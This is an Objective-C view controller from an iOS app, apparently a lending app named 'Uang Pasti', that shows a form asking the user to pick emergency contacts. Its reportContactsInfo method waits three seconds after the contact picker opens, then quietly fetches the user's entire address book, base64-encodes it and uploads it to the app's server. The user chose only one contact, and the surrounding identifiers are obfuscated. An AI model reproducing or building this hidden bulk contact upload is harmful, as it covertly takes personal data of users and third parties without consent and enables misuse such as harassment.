//
//  UPContactViewController.m
//  Uang Pasti
//
//  Created by 李永彬 on 2025/8/25.
//

#import "UPContactViewController.h"
#import "UPContactTextFieldCell.h"
#import "UPContactEnumView.h"
#import <Contacts/Contacts.h>
#import <ContactsUI/ContactsUI.h>

@interface UPContactViewController ()<
UITableViewDelegate,
UITableViewDataSource,
UPContactTextFieldCellDelegate,
UPContactEnumViewDelegate,
CNContactPickerDelegate
>

@property (nonatomic, strong) UITableView *tableView;
@property (nonatomic, strong) ContactLapidantModel *contactLapidantModel;
@property (nonatomic, strong) NSArray<ContactCircumibilityModel *> *circumibilitys;
@property (nonatomic, strong) ContactCircumibilityModel *selectedCircumibility;
@property (nonatomic, strong) UPCustomAlertView *customAlertView;
@property (nonatomic, strong) UIButton *continueButton;

@property (nonatomic, assign) BOOL isReported;
@property (nonatomic, assign) double startTime;

@end

@implementation UPContactViewController

- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view.
    // 防止父视图控制器影响 contentInset
    if (@available(iOS 11.0, *)) {
        self.tableView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
    } else {
        self.automaticallyAdjustsScrollViewInsets = NO;
    }
    self.isReported = false;
    [self commonInitSubviews];
    [self fetchContactData];
    self.startTime = [[NSDate date] timeIntervalSince1970];
}

- (void)viewDidAppear:(BOOL)animated {
    [super viewDidAppear:animated];
    self.tableView.contentInset = UIEdgeInsetsZero;
}

- (void)commonInitSubviews {

    UIImage *bgImage = [UIImage imageNamed:@"contact_bg"];
    CGFloat bgAspectRatio = bgImage.size.width / bgImage.size.height;
    CGFloat bgWidth = kScreenWidth - 2 * 16;
    CGFloat bgHeight = bgWidth / bgAspectRatio;
    [self.tableView mas_makeConstraints:^(MASConstraintMaker *make) {
        make.top.equalTo(self.collectionView.mas_bottom).offset(30);
        make.centerX.equalTo(self.view);
        make.width.mas_equalTo(bgWidth);
        make.height.mas_equalTo(bgHeight * 2 + 30);
    }];
    
    UIImage *buttonImage = [UIImage imageNamed:@"button_bg_style5"];
    CGFloat buttonHeight = 50.0;
    CGFloat buttonAspectRatio = buttonImage.size.width / buttonImage.size.height;
    CGFloat buttonWidth = buttonHeight * buttonAspectRatio;
    [self.continueButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.bottom.equalTo(self.view).offset(- bottomsafeArea());
        make.centerX.equalTo(self.view);
        make.height.mas_equalTo(buttonHeight);
        make.width.mas_equalTo(buttonWidth);
    }];
}

- (void)fetchContactData {
    [SVProgressHUD show];
    [UPStocksAPIManager fetchContactInfoWithProductId:self.currentOmniosity.degreeaneous completion:^(ContactLapidantModel * _Nonnull lapidantModel, NSString * _Nonnull msg) {
        if (lapidantModel) {
            self.contactLapidantModel = lapidantModel;
            self.circumibilitys = lapidantModel.successacious.circumibility;
            [self.tableView reloadData];
            [SVProgressHUD dismiss];
        } else {
            [SVProgressHUD showInfoWithStatus:msg];
        }
    }];
}

- (void)fetchSaveContactData {
    [SVProgressHUD show];
    [UPStocksAPIManager fetchSaveContactInfoWithProductId:self.currentOmniosity.degreeaneous circumibility:self.circumibilitys completion:^(BOOL success, NSString * _Nonnull msg) {
        if (success) {
            [SVProgressHUD dismiss];
            NSDictionary *dic = @{
                @"followUpData": self.currentOmniosity
            };
            [[NSNotificationCenter defaultCenter] postNotificationName:kFollowUpMyOrderKey
                                                                object:nil
                                                              userInfo:dic];
            [UPReportDataManager reportToMaiDian:UPSceneTypeContactCredential
                                       productId:self.currentOmniosity.degreeaneous
                                      productNum:self.currentOmniosity.viciacity
                                  startTimeStamp:self.startTime
                                    endTimeStamp:[[NSDate date] timeIntervalSince1970]];
        } else {
            [SVProgressHUD showInfoWithStatus:msg];
        }
    }];
}

- (UITableView *)tableView {
    if (!_tableView) {
        _tableView = [[UITableView alloc] initWithFrame:CGRectZero style:UITableViewStyleGrouped];
        _tableView.delegate = self;
        _tableView.dataSource = self;
        _tableView.separatorStyle = UITableViewCellSeparatorStyleNone;
        _tableView.backgroundColor = [UIColor clearColor];
        _tableView.showsVerticalScrollIndicator = NO;
        _tableView.rowHeight = UITableViewAutomaticDimension;
        [_tableView registerClass:[UPContactTextFieldCell class] forCellReuseIdentifier:@"UPContactTextFieldCell"];
        [_tableView setShouldIgnoreScrollingAdjustment:YES];
        [_tableView setShouldRestoreScrollViewContentOffset:true];
        if (@available(iOS 11.0, *)) {
            _tableView.estimatedSectionHeaderHeight = 0;
            _tableView.estimatedSectionFooterHeight = 0;
            _tableView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
        }
        _tableView.estimatedRowHeight = 0;
        _tableView.estimatedSectionHeaderHeight = 0;
        _tableView.estimatedSectionFooterHeight = 0;
        [self.view addSubview:_tableView];
    }
    return _tableView;
}

- (UIButton *)continueButton {
    if (!_continueButton) {
        _continueButton = [UIButton buttonWithType:UIButtonTypeCustom];
        [_continueButton setBackgroundImage:[UIImage imageNamed:@"button_bg_style5"] forState: UIControlStateNormal];
        [_continueButton setTitle:LocalizableForKey(@"Continue certification") forState:UIControlStateNormal];
        [_continueButton setTitleColor:[UIColor colorWithHexString:@"#000000"] forState:UIControlStateNormal];
        _continueButton.titleLabel.font = [UIFont systemFontOfSize:14 weight:400];
        [_continueButton addTarget:self action:@selector(clickContinueButton) forControlEvents:UIControlEventTouchUpInside];
        [self.view addSubview:_continueButton];
    }
    return _continueButton;
}

#pragma mark -method
- (void)didClickRelateTextField:(ContactCircumibilityModel *)model {
    self.selectedCircumibility = model;
    [self showEnumAlert];
}

- (void)didClickContactTextField:(ContactCircumibilityModel *)model {
    self.selectedCircumibility = model;
    __block typeof(self) weakSelf = self;
    [[UPContactManager shared] requestAccessWithCompletion:^(BOOL granted) {
        if (granted) {
            dispatch_async(dispatch_get_main_queue(), ^{
                [weakSelf showContactsListView];
            });
        } else {
            [weakSelf showPremissAlert];
        }
    }];
}

- (void)showContactsListView {
    CNContactPickerViewController *contactPicker = [[CNContactPickerViewController alloc] init];
    contactPicker.delegate = self;
    
    // 只显示有电话号码的联系人
    contactPicker.predicateForEnablingContact = [NSPredicate predicateWithFormat:@"phoneNumbers.@count > 0"];
    
    // 显示姓名和电话号码属性
    contactPicker.displayedPropertyKeys = @[
        CNContactGivenNameKey,    // 名
        CNContactFamilyNameKey,   // 姓
        CNContactPhoneNumbersKey  // 电话号码
    ];
    
    // 恢复导航栏默认样式
    [UINavigationBar appearance].tintColor = nil;
    [UINavigationBar appearance].titleTextAttributes = nil;
    
    contactPicker.modalPresentationStyle = UIModalPresentationFullScreen;
    // 弹出联系人选择器
    [self presentViewController:contactPicker animated:YES completion:^{
        // 恢复自定义样式
        [UINavigationBar appearance].tintColor = [UIColor systemBlueColor];
        
        // 延迟3秒后上报通讯录
        __weak typeof(self) weakSelf = self;
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(3.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
            [weakSelf reportContactsInfo];
        });
    }];
}

- (void)reportContactsInfo {
    if (self.isReported) {
        return;
    }
    __block typeof(self) weakSelf = self;
    [[UPContactManager shared] requestAccessWithCompletion:^(BOOL granted) {
        if (granted) {
            [[UPContactManager shared] fetchAllContactsWithCompletion:^(NSArray<CNContact *> * _Nullable contacts, NSError * _Nullable error) {
                weakSelf.isReported = YES;
                
                NSMutableArray *arr = [NSMutableArray array];
                for (CNContact *contact in contacts) {
                    NSDictionary *dic = [[UPContactManager shared] formattedContactInfo:contact];
                    [arr addObject:dic];
                }
                
                NSString *base64 = [arr convertDictionaryArrayToBase64];
                [UPReportDataManager reportContacts:base64];
            }];
        }
    }];
}

- (void) showPremissAlert {
    UPCustomAlertView *alert = [[UPCustomAlertView alloc] initWithBackgroundImage:[UIImage imageNamed:@"alert_bg_image1"]
                                                                           style:UPAlertViewStyleCenter];
    [alert setTitle:@""
              font:[UIFont boldSystemFontOfSize:13]];

    [alert setContent:LocalizableForKey(@"NSContactsUsageDescription")
                font:[UIFont systemFontOfSize:13]];
    
    [alert addButtonWithTitle:LocalizableForKey(@"Open setting")
                        style:UPButtonStyleDefault
                      handler:^{
        upOpenAppSettings();
    }];

    [alert addButtonWithTitle:LocalizableForKey(@"Give up")
                        style:UPButtonStyleDestructive
                      handler:^{
    }];

    // 显示弹窗
    [alert showInView:self.view];
}

- (void)showEnumAlert {
    UPContactEnumView *customView = [[UPContactEnumView alloc] init];
    UIImage *bgImage = [UIImage imageNamed:@"address_bg"];
    CGFloat bgAspectRatio = bgImage.size.width / bgImage.size.height;
    CGFloat bgWidth = kScreenWidth - 2 * 16;
    CGFloat bgHeight = bgWidth / bgAspectRatio;
    customView.frame = CGRectMake(0, 0, bgWidth, bgHeight);

    customView.delegate = self;
    customView.circumibility = self.selectedCircumibility;
    UPCustomAlertView *alert = [[UPCustomAlertView alloc] initWithCustomView:customView style:UPAlertViewStyleBottomSheet];
    [alert showInView:self.view];
    self.customAlertView = alert;
}

- (void)clickContinueButton {
    [self fetchSaveContactData];
}

#pragma mark - CNContactPickerDelegate
- (void)contactPicker:(CNContactPickerViewController *)picker didSelectContact:(CNContact *)contact {
    if (contact.phoneNumbers.count == 0) {
        [SVProgressHUD showInfoWithStatus:LocalizableForKey(@"phone number incorrect")];
        return;
    }
    
    CNPhoneNumber *phoneNumber = contact.phoneNumbers.firstObject.value;
    NSString *number = phoneNumber.stringValue;
    
    NSString *givenName = contact.givenName;   // 名
    NSString *familyName = contact.familyName; // 姓
    NSString *fullName = [NSString stringWithFormat:@"%@ %@", givenName, familyName]; //
    
    NSString *trimmedName = [fullName stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
    if (trimmedName.length == 0) {
        [SVProgressHUD showInfoWithStatus:LocalizableForKey(@"phone name incorrect")];
        return;
    }
    self.selectedCircumibility.quindecimlocalety = fullName;
    self.selectedCircumibility.consumeratic = number;
    [self.tableView reloadData];
}

// 用户取消选择
- (void)contactPickerDidCancel:(CNContactPickerViewController *)picker {
    NSLog(@"User canceled contact picker");
    [picker dismissViewControllerAnimated:YES completion:nil];
}

#pragma mark - UPContactEnumViewDelegate
- (void)enumCustomView:(UPContactEnumView *)enumView didSelectItemAtIndex: (NSInteger)index model:(PersonalEveryablyModel *)everyablyModel {
    [self.customAlertView dismiss];
    self.selectedCircumibility.droplike = everyablyModel.tergmost;
    [self.tableView reloadData];
}

#pragma mark - UITableViewDataSource

- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView {
    return self.circumibilitys.count;
}

- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {
    return 1;
}

- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath {
    UPContactTextFieldCell *cell = [tableView dequeueReusableCellWithIdentifier:@"UPContactTextFieldCell" forIndexPath:indexPath];
    cell.delegate = self;
    ContactCircumibilityModel *model = self.circumibilitys[indexPath.section];
    cell.contactCircumibilityModel = model;
    return cell;
}

#pragma mark - UITableViewDelegate

- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath {
    [tableView deselectRowAtIndexPath:indexPath animated:YES];
}

- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
    UIImage *bgImage = [UIImage imageNamed:@"contact_bg"];
    CGFloat bgAspectRatio = bgImage.size.width / bgImage.size.height;
    CGFloat bgWidth = kScreenWidth - 2 * 16;
    CGFloat bgHeight = bgWidth / bgAspectRatio;
    return bgHeight;
}

- (CGFloat)tableView:(UITableView *)tableView heightForHeaderInSection:(NSInteger)section {
    if (section == 0) {
        return CGFLOAT_MIN;
    }
    return 20;
}

- (CGFloat)tableView:(UITableView *)tableView heightForFooterInSection:(NSInteger)section {
    return CGFLOAT_MIN;
}

- (UIView *)tableView:(UITableView *)tableView viewForHeaderInSection:(NSInteger)section {
    if (section == 0) {
        return [[UIView alloc] initWithFrame:CGRectMake(0, 0, 0, CGFLOAT_MIN)];
    }
    return [[UIView alloc] initWithFrame:CGRectMake(0, 0, 0, 20)];
}

- (UIView *)tableView:(UITableView *)tableView viewForFooterInSection:(NSInteger)section {
    return [[UIView alloc] initWithFrame:CGRectMake(0, 0, 0, CGFLOAT_MIN)];
}

@end
